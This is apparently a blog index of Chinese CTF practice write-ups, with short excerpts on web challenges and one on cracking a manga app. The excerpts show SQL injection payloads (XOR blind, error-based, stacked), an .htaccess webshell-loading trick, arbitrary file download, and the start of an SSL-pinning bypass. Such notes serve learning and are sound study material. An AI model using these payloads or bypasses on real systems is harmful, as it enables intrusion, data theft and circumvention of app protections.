CTF打卡~Day13
[CISCN2019 华北赛区 Day2 Web1]Hack World 常见的几种手工注入方法都不管用,本来想写一个脚本fuzz一下的,后面发现这玩意不仅Ban了几个关键字,最主要的是ban掉了空格和/**/还有注释符号。然后观察他的回显,输入1和2的时候会显示出两句骚话,在输入其他数字的时候会返回一个false的bool。猜测他判断的逻辑可能是ret=select id from flag;if(ret) return ret; else return 0; 这边需要用到的方法是异或注入。0^(表达式) 如果表达式为真,就相当于0^1,返回一个1,反之为0。 https://www.jianshu.com/p/27df5c67157c 我们这题就可以利用这个方法,将异或判断式放入id,如果为真,就会现实id为1的内容,反之就是显示查询错误。具体的实现是1^(ascii(substr((select(flag)from(flag)),{0},1))>{1}) {0}是第几位字符,{1}就是逐一判断的字符Ascii码。这里需要写一个python脚本...
CTF打卡~Day12
Buuoj 刮开有奖 这题有点毒... 首先一番查找找到关键代码 发现已经定义了一个字符串,然后将其放入sub_CD10F0 中,还带了0和10两个参数。进入该函数: int __cdecl sub_CD10F0(int a1, int a2, int a3) { int result; // eax int i; // esi int v5; // ecx int v6; // edx result = a3; for ( i = a2; i <= a3; a2 = i ) { v5 = 4 * i; v6 = *(_DWORD *)(4 * i + a1); if ( a2 < result && i < result ) { do { if ( v6 > *(_DWORD *)(a1 + 4 * result) ) { if ( i >= result ) ...
CTF打卡~Day11
[NPUCTF2020]验证🐎 这题似乎是Node.js的,完全是陌生领域,全程都是被大佬wp拖着走的....惭愧 https://www.plasf.cn/2020/04/25/Node%E4%B8%93%E9%A2%98%E8%AE%AD%E7%BB%83-1/ 这里就把几个比较重要的地方点以下吧,具体的原理还是看链接的好。 首先这个抽象带师出题人直接把源码放出来了,可还行 const express = require('express'); const bodyParser = require('body-parser'); const cookieSession = require('cookie-session'); const fs = require('fs'); const crypto = require('crypto'); const keys = require('./key.js').keys; function md5(s) { return crypto.createHash('md5') .up...
CTF打卡~Day10
啊啊啊今天课好多下午还有培训讲座,结果上午的课没咋听也没写笔记,题又没写多少 [CISCN2019 华北赛区 Day1 Web1]Dropbox 这题有点意思。 在注册一个账号以后,可以直接上传、下载文件,仅限后缀为图片的文件。 下载文件通过BurpSuite抓包发现是POST Filename给download.php,而且可以通过改包来实现任意文件下载(flag不行) 注意一下,这里上传的文件的目录与php的目录并不在一起,index.php等文件在../../下。 下载后: download.php <?php session_start(); if (!isset($_SESSION['login'])) { header("Location: login.php"); die(); } if (!isset($_POST['filename'])) { die(); } include "class.php"; ini_set("open_basedir", getcwd() . ":/...
CTF打卡~Day9
报错注入 https://www.cnblogs.com/laoxiajiadeyun/p/10488731.html extractvalue()和updatexml(),这题屏蔽了update,所以只能用 extractvalue() 本题用法 #查用户 ?inject=1' and (extractvalue(1,concat('~',user())));# #查数据库 ?inject=1' and (extractvalue(1,concat('~',database())));# 学习到,报错注入的基础: extractvalue(1,concat('~',{指令})) 故意拼接出~{指令}这个错误的查询条件,让其在报错的时候输出我们要的指令 堆叠注入 ?inject=1'; show databases;# ?inject=1'; show tables from {..};# 这题可以用分号分割多个命令来进行堆叠注入 预加载 SET @sql=concat('se','lect * from...
CTF打卡~Day8
今天写的题比较多,所以可能有些会写的简略一点 ISITDTU 2019 EasyPHP <?php highlight_file(__FILE__); $_ = @$_GET['_']; if ( preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i', $_) ) die('rosé will not do it'); if ( strlen(count_chars(strtolower($_), 0x3)) > 0xd ) die('you are so close, omg'); eval($_); ?> 这题还是异或拼接命令。放上几个有意思的References: https://xz.aliyun.com/t/5677 https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html (这题还探讨了另一种很有意思的方法,但是这题用不上) 用昨天的那个脚本很容...
CTF打卡~Day7
今天起来本来是看到的SUCTF2019的EasyPHP,咋一眼看不难,实际上做了一遍才发现真的好多坑...看着WP做都写了半天...我太菜了.jpg <?php function get_the_flag(){ // webadmin will remove your upload file every 20 min!!!! $userdir ="/upload/tmp_".md5($_SERVER['REMOTE_ADDR']); if(!file_exists($userdir)){ if (!@mkdir($userdir)) { $error = error_get_last(); echo $error['message']; } } if(!empty($_FILES["file"])){ $tmp_name = $_FILES["file"]["tmp_name"]; $name = $_FILES["...
CTF打卡~Day6
继续研究去年百越杯的Babyphp <?php error_reporting(1); class Read { private $var; public function file_get($value) { $text = base64_encode(file_get_contents($value)); return $text; } public function __invoke(){ $content = $this->file_get($this->var); echo $content; } } class Show { public $source; public $str; public function __construct($file='index.php') { $this->source = $file; echo $this->source.'开始解析'."...
CTF打卡~Day5
今天主要打卡的是SUCTF的Web题 https://www.jianshu.com/p/fbfeeb43ace2 利用.htaccess和.user.ini来实现一句话木马: http://www.mumaasp.com/222.html 主要用途:在服务器不允许上传(带检测)php文件的地方,将恶意代码写入图片文件里,之后用.user.ini来预加载图片里的代码来实现注入的目的 Apache版本: \x00\x00\x8a\x39\x8a\x39 #用来绕过文件头检测 AddType application/x-httpd-php .jpg php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/uploads/[md5(ip)]/shell.jpg" <FilesMatch "crack.jpg"> SetHandler application/x-httpd-php </FilesMatch> ...
[整活]破解某款动漫app的漫画阅读功能
其实这款app三年前我还在读高中的时候就有在关注了,当时只是弄懂了这个app漫画阅读的一小部分功能。因为当时只有周六晚上有时间,所以弄了好几个星期(当时也是刚刚入坑网安和CTF,所以进度也很慢)后来因为学业,就放弃了。最近因为某些原因又开始搞这个app,终于成功了! 下面的这个顺序可能不是最优解,也是因为这个app的破解中间隔了刚刚好三年的时间,大家看看图个乐,消遣下就好了。当然,如果能从我这个菜鸟的文章里学到点啥,我是再高兴不过的了~ 0x0 在开始之前... 三年前的分析的时候,这个app可以很方便的用Fiddler抓包,但是今年重新分析的时候却弹窗提示"認証局は信頼されていません(证书签发机关不受信任)",推测可能是最近几年更新的时候增加了ssl证书验证,由于Fiddler解密https的需要装一个自签发的证书,所以就被卡下来了。 为了能正常抓包,我们就先把证书校验给破了: 首先MT管理器搜索关键字"ません" 然后在resourses.asrc文件里找到了关键字符常量err_webview_ssl_untrused,继续在de...